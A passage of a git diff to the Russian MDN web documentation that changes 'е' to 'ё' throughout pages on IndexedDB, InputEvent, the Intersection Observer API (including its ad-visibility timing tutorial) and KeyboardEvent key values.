обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:</p> <pre class="brush:js;">// Это событие появилось только в самых новых браузерах request.onupgradeneeded = function(event) { var db = event.target.result; - // Создаем хранилище объектов для этой базы данных + // Создаём хранилище объектов для этой базы данных var objectStore = db.createObjectStore("name", { keyPath: "myKey" }); };</pre> diff --git a/files/ru/web/api/inputevent/index.html b/files/ru/web/api/inputevent/index.html index 8dd6cc087e..1bf9b77f4b 100644 --- a/files/ru/web/api/inputevent/index.html +++ b/files/ru/web/api/inputevent/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/InputEvent <dl> <dt>{{domxref("InputEvent.InputEvent", "InputEvent()")}}</dt> - <dd>Создает <code>InputEvent</code> объект.</dd> + <dd>Создаёт <code>InputEvent</code> объект.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/intersection_observer_api/index.html b/files/ru/web/api/intersection_observer_api/index.html index bd086266e6..bd1354931e 100644 --- a/files/ru/web/api/intersection_observer_api/index.html +++ b/files/ru/web/api/intersection_observer_api/index.html @@ -10,12 +10,12 @@ translation_of: Web/API/Intersection_Observer_API <p class="summary">Intersection Observer API позволяет веб-приложениям асинхронно следить за изменением пересечения элемента с его родителем или областью видимости документа {{Glossary("viewport")}}.</p> -<p>Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадежными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:</p> +<p>Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадёжными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:</p> <ul> <li>Отложенная загрузка изображений или другого контента по мере прокрутки страницы.</li> <li>Реализация веб-сайтов с "бесконечным скроллом", где контент подгружается по мере того как страница прокручивается вниз, и пользователю не нужно переключаться между страницами.</li> - <li>Отчет о видимости рекламы с целью посчитать доходы от нее.</li> + <li>Отчёт о видимости рекламы с целью посчитать доходы от нее.</li> <li>Принятие решения, запускать ли какой-то процесс или анимацию в зависимости от того, увидит пользователь результат или нет.</li> </ul> @@ -23,7 +23,7 @@ translation_of: Web/API/Intersection_Observer_API <p>Рассмотрим веб-страницу с бесконечным скроллом. На ней используется библиотека для управления периодически размещаемой по всей странице рекламой, повсюду анимированная графика, а также библиотека для отображения всплывающих окон. И все эти вещи используют свои собственные правила для обнаружения пересечений, и все они запущены в основном потоке. Автор сайта может даже не подозревать об этой проблеме, а также может не знать, как работают сторонние библиотеки изнутри. В то же время пользователь по ходу прокрутки страницы сталкивается с тем, что работа сайта замедляется постоянным срабатыванием обнаружения пересечения, что в итоге приводит к тому, что пользователь недоволен браузером, сайтом и своим компьютером.</p> -<p>Intersection Observer API даёт возможность зарегистрировать колбэк-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на определенное значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.</p> +<p>Intersection Observer API даёт возможность зарегистрировать колбэк-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на определённое значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.</p> <p>Observer API не позволит узнать точное число пикселей или определить конкретные пиксели в пересечении; однако, его использование покрывает наиболее частые сценарии вроде "Если элементы пересекаются на N%, сделай то-то".</p> @@ -35,7 +35,7 @@ translation_of: Web/API/Intersection_Observer_API <p>Используете ли вы область видимости или другой элемент в качестве корневого, API работает одинаково, вызывая заданную вами колбэк-функцию, всякий раз, когда видимость целевого элемента изменяет так, что она пересекает в нужной степени корневой элемент.</p> -<p>Степень пересечения целевого и корневого элемента задается в диапазоне от 0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.</p> +<p>Степень пересечения целевого и корневого элемента задаётся в диапазоне от 0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.</p> <h3 id="Пример_использования">Пример использования</h3> @@ -97,7 +97,7 @@ observer.observe(target); <dt>{{domxref("IntersectionObserver")}}</dt> <dd>Основной интерфейс для API Intersection Observer. Предоставляет методы для создания и управления observer, который может наблюдать любое количество целевых элементов для одной и той же конфигурации пересечения. Каждый observer может асинхронно наблюдать изменения в пересечении между одним или несколькими целевыми элементами и общим элементом-предком или с их верхним уровнем {{domxref("Document")}}'s {{Glossary('viewport')}}. Предок или область просмотра упоминается как <strong>root</strong>.</dd> <dt>{{domxref("IntersectionObserverEntry")}}</dt> - <dd>Описывает пересечение между целевым элементом и его корневым контейнером в определенный момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего колбэка IntersectionObserver или путем вызова {{domxref ("IntersectionObserver.takeRecords()")}}.</dd> + <dd>Описывает пересечение между целевым элементом и его корневым контейнером в определённый момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего колбэка IntersectionObserver или путём вызова {{domxref ("IntersectionObserver.takeRecords()")}}.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html index b4fb095993..b7f1bf0997 100644 --- a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html +++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -53,7 +53,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <h3 id="Основа">Основа</h3> -<p>Мы создаем стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p> +<p>Мы создаём стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p> <pre class="brush: css notranslate">body { font-family: "Open Sans", "Arial", "Helvetica", sans-serif; @@ -93,7 +93,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <h3 id="Боковая_панель">Боковая панель</h3> -<p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создается с помощью элемента {{HTMLElement("aside")}}.</p> +<p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создаётся с помощью элемента {{HTMLElement("aside")}}.</p> <pre class="brush: css notranslate">aside { grid-column: 1; @@ -185,7 +185,7 @@ article h2 { <h2 id="Совмещаем_с_JavaScript">Совмещаем с JavaScript</h2> -<p>Перейдём к JavaScript коду, который всё оживит. Начнем с глобальных переменных:</p> +<p>Перейдём к JavaScript коду, который всё оживит. Начнём с глобальных переменных:</p> <pre class="brush: js notranslate">let contentBox; @@ -243,7 +243,7 @@ function startup() { <p>Параметр "порог" (<code>threshold</code>) содержит массив со значениями 0.0 и 0.75; Это заставит обработчик вызываться каждый раз, когда целевой элемент становится полностью обёрнут или только начинает выходить из зоны перекрытия (коэффициент перекрытия 0.0) или проходит порог в 75% видимости в обоих направлениях (коэффициент перекрытия 0.75).</p> -<p>Наблюдатель <code>adObserver</code> создается с помощью конструктора <code>IntersectionObserver</code>. В аргументы конструктора мы передаём колбэк-функцию (<code>intersectionCallback</code>) и ранее определенный объект параметров.</p> +<p>Наблюдатель <code>adObserver</code> создаётся с помощью конструктора <code>IntersectionObserver</code>. В аргументы конструктора мы передаём колбэк-функцию (<code>intersectionCallback</code>) и ранее определённый объект параметров.</p> <p>После этого мы вызываем функцию <code>buildContents()</code>. Её мы напишем чуть позже. Функция генерирует и вставляет в контейнер статьи и рекламные блоки.</p> @@ -280,7 +280,7 @@ function startup() { <h3 id="Обработчик_изменений_наложения">Обработчик изменений наложения</h3> -<p>При каждой итерации в браузерном event loop, каждый наблюдатель {{domxref("IntersectionObserver")}} проверяет, не прошел ли какой-либо из элементов-целей через пороговые значения наблюдателя. Для каждого наблюдателя список таких целей собирается в один список и отправляется в колбэк-функцию наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p> +<p>При каждой итерации в браузерном event loop, каждый наблюдатель {{domxref("IntersectionObserver")}} проверяет, не прошёл ли какой-либо из элементов-целей через пороговые значения наблюдателя. Для каждого наблюдателя список таких целей собирается в один список и отправляется в колбэк-функцию наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p> <pre class="brush: js notranslate">function intersectionCallback(entries) { entries.forEach(function(entry) { @@ -361,7 +361,7 @@ function startup() { <dd>Общее время видимости рекламного блока.</dd> </dl> -<p>Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придется в одном месте сделать это вручную.</p> +<p>Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придётся в одном месте сделать это вручную.</p> <p>Функция начинается с выяснения времени, когда происходила последняя проверка видимости рекламы (<code>adBox.dataset.lastViewStarted</code>). Мы также получаем текущее время с момента создания документа с помощью {{domxref("Performance.now", "performance.now()")}} <code>currentTime</code>.</p> @@ -371,7 +371,7 @@ function startup() { <h3 id="Показываем_таймер_рекламы">Показываем таймер рекламы</h3> -<p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаем в функцию <code>drawAdTimer</code> контейнер:</p> +<p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаём в функцию <code>drawAdTimer</code> контейнер:</p> <pre class="brush: js notranslate">function drawAdTimer(adBox) { let timerBox = adBox.querySelector(".timer"); @@ -411,11 +411,11 @@ function buildContents() { <p>Переменная <code>loremIpsum</code> содержит текст, который мы используем как тело статьи. Разумеется, в реальном мире вы будете забирать статьи из какой-то базы данных. Но это тема другой статьи, поэтому мы пошли простым путём.</p> -<p><code>buildContents()</code> создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки. Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод <code>createArticle()</code>, который мы разберем позже.</p> +<p><code>buildContents()</code> создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки. Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод <code>createArticle()</code>, который мы разберём позже.</p> -<p>Рекламные блоки создаются с помощью функции <code>loadRandomAd()</code>. Эта функция создает и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.</p> +<p>Рекламные блоки создаются с помощью функции <code>loadRandomAd()</code>. Эта функция создаёт и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.</p> -<h3 id="Создаем_статью">Создаем статью</h3> +<h3 id="Создаём_статью">Создаём статью</h3> <p>Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию <code>createArticle()</code>, которая в качестве входных данных принимает строку-текст статьи.</p> @@ -434,11 +434,11 @@ function buildContents() { return articleElem; }</pre> -<p>Сперва, элемент <code><article></code> создаётся и ему присваивается уникальный ID <code>nextArticleID</code> (это просто счётчик от нуля до бесконечности). Затем мы создаем и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной <code>contents</code>. Наконец, мы увеличиваем значение <code>nextArticleID</code> (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.</p> +<p>Сперва, элемент <code><article></code> создаётся и ему присваивается уникальный ID <code>nextArticleID</code> (это просто счётчик от нуля до бесконечности). Затем мы создаём и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной <code>contents</code>. Наконец, мы увеличиваем значение <code>nextArticleID</code> (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.</p> <h3 id="Создание_рекламного_блока">Создание рекламного блока</h3> -<p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создается и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p> +<p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создаётся и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p> <pre class="brush: js notranslate">function loadRandomAd(replaceBox) { let ads = [ @@ -523,7 +523,7 @@ function buildContents() { <p>Если <code>replaceBox</code> содержит какое-то значение, мы рассматриваем его как элемент рекламного блока. Мы завершаем наблюдение за элементом с помощью {{domxref("IntersectionObserver.unobserve()")}}. Затем собираем в локальные переменные данные из каждого свойства элемента: заголовок, тело и таймер.</p> -<p>Если никакое значение не указано для <code>replaceBox</code>, мы создаем новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса <code>"ad"</code>. Затем создаются заголовок рекламного блока, его текст и таймер. Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру <code>adBox</code>.</p> +<p>Если никакое значение не указано для <code>replaceBox</code>, мы создаём новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса <code>"ad"</code>. Затем создаются заголовок рекламного блока, его текст и таймер. Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру <code>adBox</code>.</p> <p>После этого разветвления наш код вновь возвращается к единому. Фоновый цвет рекламных блоков присваивается соответственно записям. Элементам присваиваются классы и содержимое.</p> diff --git a/files/ru/web/api/intersectionobserver/index.html b/files/ru/web/api/intersectionobserver/index.html index 81c9d06e14..6676d9a6b7 100644 --- a/files/ru/web/api/intersectionobserver/index.html +++ b/files/ru/web/api/intersectionobserver/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/IntersectionObserver <p>Интерфейс <code><strong>IntersectionObserver</strong></code> в составе <a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> <span class="seoSummary">предоставляет возможность асинхронного наблюдения за изменением пересечения целевого элемента с вышестоящим элементом или с верхоуровневым {{Glossary('viewport')}} документа.</span> Вышестоящий элемент или viewport считается корнем.</p> -<p>Когда <code>IntersectionObserver</code> создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания <code>IntersectionObserver</code>, поэтому такой объект-наблюдатель полезен только для наблюдения за определенными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.</p> +<p>Когда <code>IntersectionObserver</code> создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания <code>IntersectionObserver</code>, поэтому такой объект-наблюдатель полезен только для наблюдения за определёнными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.</p> <h2 id="Constructor">Constructor</h2> diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html index 65ff69f379..774df5baea 100644 --- a/files/ru/web/api/keyboardevent/altkey/index.html +++ b/files/ru/web/api/keyboardevent/altkey/index.html @@ -33,7 +33,7 @@ function showChar(e){ <body onkeypress="showChar(event);"> <p> -Нажмите любую клавишу с зажатой клавишей ALT или без нее<br /> +Нажмите любую клавишу с зажатой клавишей ALT или без неё<br /> Вы можете также использовать SHIFT вместе с ALT. </p> </body> diff --git a/files/ru/web/api/keyboardevent/index.html b/files/ru/web/api/keyboardevent/index.html index 78e057c480..0d4f5ab6c4 100644 --- a/files/ru/web/api/keyboardevent/index.html +++ b/files/ru/web/api/keyboardevent/index.html @@ -137,7 +137,7 @@ translation_of: Web/API/KeyboardEvent <li><code>keyup</code></li> </ol> -<p>В этих средах, к сожалению, нет возможности сказать веб-контенту, произошел автоповтор или клавиша была нажата несколько раз.</p> +<p>В этих средах, к сожалению, нет возможности сказать веб-контенту, произошёл автоповтор или клавиша была нажата несколько раз.</p> <h4 id="Обработка_автоповтора_на_системах_до_Gecko_5.0">Обработка автоповтора на системах до Gecko 5.0</h4> diff --git a/files/ru/web/api/keyboardevent/key/key_values/index.html b/files/ru/web/api/keyboardevent/key/key_values/index.html index d899eb5c38..1dc955cf06 100644 --- a/files/ru/web/api/keyboardevent/key/key_values/index.html +++ b/files/ru/web/api/keyboardevent/key/key_values/index.html @@ -3,7 +3,7 @@ title: Значения клавиш slug: Web/API/KeyboardEvent/key/Key_Values translation_of: Web/API/KeyboardEvent/key/Key_Values --- -<p>В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этот клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространенных платформ включены там, где они доступны.</p> +<p>В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этот клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространённых платформ включены там, где они доступны.</p> <div class="pull-aside"> <div class="moreinfo">Узнайте, как использовать эти пары "ключ-значение" в JavaScript с помощью <a href="/docs/Web/API/KeyboardEvent/key">KeyboardEvent.key</a></div> @@ -13,7 +13,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h2 id="Специальные_значения">Специальные значения</h2> -<p>Значения клавиш имеющих особое значение, кроме идентификации определенной клавиши или символа.</p> +<p>Значения клавиш имеющих особое значение, кроме идентификации определённой клавиши или символа.</p> <table class="standard-table"> <thead> @@ -33,7 +33,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <tr> <td><code>"Unidentified"</code></td> <td> - <p>Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определенным значением клавиши.</p> + <p>Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определённым значением клавиши.</p> <p>Это может произойти из-за аппаратных или программных ограничений или из-за ограничений платформы, на которой работает пользовательский агент.</p> </td> @@ -692,9 +692,9 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <p>[3] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша контекстного меню возвращает значение <code>"Apps"</code> вместо <code>"ContextMenu"</code>.</p> -<p>[4] Клавиша <kbd>Attn</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"KanaMode"</code>.</p> +<p>[4] Клавиша <kbd>Attn</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо неё <code>"KanaMode"</code>.</p> -<p>[5] Клавиша <kbd>Finish</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"Katakana"</code>.</p> +<p>[5] Клавиша <kbd>Finish</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо неё <code>"Katakana"</code>.</p> <p>[6] Firefox не поддерживал клавиши <code>"ZoomIn"</code> и <code>"ZoomOut"</code> до Firefox 37.</p> @@ -735,7 +735,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Eject"</code></td> - <td>Клавиша извлечения <kbd>Eject</kbd>. Извлекает съемный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).</td> + <td>Клавиша извлечения <kbd>Eject</kbd>. Извлекает съёмный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).</td> <td></td> <td></td> <td><code>GDK_KEY_Eject</code> (0x1008FF2C)<br> @@ -786,7 +786,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Hibernate"</code> [2]</td> - <td>Клавиша гибернации <kbd>Hibernate</kbd>. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращен в предыдущее состояние путем восстановления сохраненной информации о состоянии.</td> + <td>Клавиша гибернации <kbd>Hibernate</kbd>. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращён в предыдущее состояние путём восстановления сохранённой информации о состоянии.</td> <td></td> <td></td> <td><code>GDK_KEY_Hibernate</code> (0x1008FFA8)<br> @@ -824,9 +824,9 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h2 id="IME_и_клавиши_композиции">IME и клавиши композиции</h2> -<p>Клавиши, используемые при использовании редактора метода ввода (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для ввода текста, который не может быть легко введен с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.</p> +<p>Клавиши, используемые при использовании редактора метода ввода (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для ввода текста, который не может быть легко введён с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.</p> -<p>Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определенные языки. Кроме того, не все клавиатуры имеют все эти клавиши.</p> +<p>Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определённые языки. Кроме того, не все клавиатуры имеют все эти клавиши.</p> <h4 id="Обычные_IME_клавиши">Обычные IME клавиши</h4> @@ -1013,7 +1013,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h3 id="Только_корейские_клавиатуры">Только корейские клавиатуры</h3> -<p>Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определенные различными платформами для корейских клавиатур, но они являются наиболее распространенными и идентифицируются спецификацией событий пользовательского интерфейса.</p> +<p>Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определённые различными платформами для корейских клавиатур, но они являются наиболее распространёнными и идентифицируются спецификацией событий пользовательского интерфейса.</p> <table class="standard-table"> <thead> @@ -1695,7 +1695,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Soft4"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Четвертая функциональная клавиша общего назначения.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Четвёртая функциональная клавиша общего назначения.</span></span></td> <td></td> <td></td> <td><code>Qt::Key_Context4</code> (0x01100003)</td> @@ -1881,7 +1881,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"MediaPlay"</code></td> - <td>Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если еще не делает этого. В противном случае не имеет эффекта.</td> + <td>Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если ещё не делает этого. В противном случае не имеет эффекта.</td> <td><code>APPCOMMAND_MEDIA_PLAY</code></td> <td></td> <td><code>GDK_KEY_AudioPlay</code> (0x1008FF14)</td> @@ -1916,7 +1916,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"MediaStop"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперед или назад).</span> <span title="">Не действует, если медиафайл уже остановлен.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперёд или назад).</span> <span title="">Не действует, если медиафайл уже остановлен.</span></span></td> <td><code>VK_MEDIA_STOP</code> (0xB2)<br> <code>APPCOMMAND_MEDIA_STOP</code></td> <td></td> @@ -2042,7 +2042,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"AudioSurroundModeNext"</code></td> - <td>Выбор следующего доступного режима объемного звучания.</td> + <td>Выбор следующего доступного режима объёмного звучания.</td> <td><code>VK_SURROUND_MODE_NEXT</code></td> <td></td> <td></td> @@ -2130,7 +2130,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </thead> </table> -<p>[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, и <code>"VolumeMute"</code> вместо <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, и <code>"AudioVolumeMute"</code>. В Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">они были обновлены в соответствии с последней спецификацией.</span> <span title="">Старые имена все еще используются в </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p> +<p>[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, и <code>"VolumeMute"</code> вместо <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, и <code>"AudioVolumeMute"</code>. В Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">они были обновлены в соответствии с последней спецификацией.</span> <span title="">Старые имена все ещё используются в </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p> <h2 id="Клавиши_управления_ТВ"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управления ТВ</span></span></h2> @@ -2367,7 +2367,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"TVTerrestrialAnalog"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный прием).</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный приём).</span></span></td> <td></td> <td></td> <td></td> @@ -2375,7 +2375,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"TVTerrestrialDigital"</code></td> - <td>Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный прием).</td> + <td>Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный приём).</td> <td></td> <td></td> <td></td> @@ -2400,17 +2400,17 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <p><span class="tlid-translation translation" lang="ru"><span title="">Поскольку современные пульты дистанционного управления для мультимедийных устройств часто включают кнопки, помимо базовых элементов управления, описанных в другом месте в этом документе, ключевые значения определены для широкого набора этих дополнительных кнопок.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Приведенные ниже значения частично получены из ряда технических характеристик бытовой электроники:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Приведённые ниже значения частично получены из ряда технических характеристик бытовой электроники:</span></span></p> <ul> <li><a href="http://atsc.org/standard/a100-dtv-application-software-environment-level-1-dase-1/">DTV Application Software Environment</a> (часть спецификации {{interwiki("wikipedia", "ATSC")}})</li> <li><a href="http://www.cablelabs.com/specifications/OC-SP-OCAP1.1.3-100603.pdf">Open Cable Application Platform 1.1.3</a></li> - <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Веб-протокол и фреймворк для удаленного пользовательского интерфейса в сетях UPnP ™ и Интернете</li> + <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Веб-протокол и фреймворк для удалённого пользовательского интерфейса в сетях UPnP ™ и Интернете</li> <li><a href="http://developer.android.com/reference/android/view/KeyEvent.html">Android KeyEvent key code values</a></li> </ul> <div class="note"> -<p><strong>Заметка:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то еще, например</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></em> или <em>Клавиши управления звуком</em>. <span class="tlid-translation translation" lang="ru"><span title="">Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.</span></span></p> +<p><strong>Заметка:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то ещё, например</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></em> или <em>Клавиши управления звуком</em>. <span class="tlid-translation translation" lang="ru"><span title="">Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.</span></span></p> </div> <table class="standard-table"> @@ -2556,7 +2556,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"FavoriteClear3"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает четвертый слот списка избранного.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает четвёртый слот списка избранного.</span></span></td> <td><code>VK_CLEAR_FAVORITE_3</code></td> 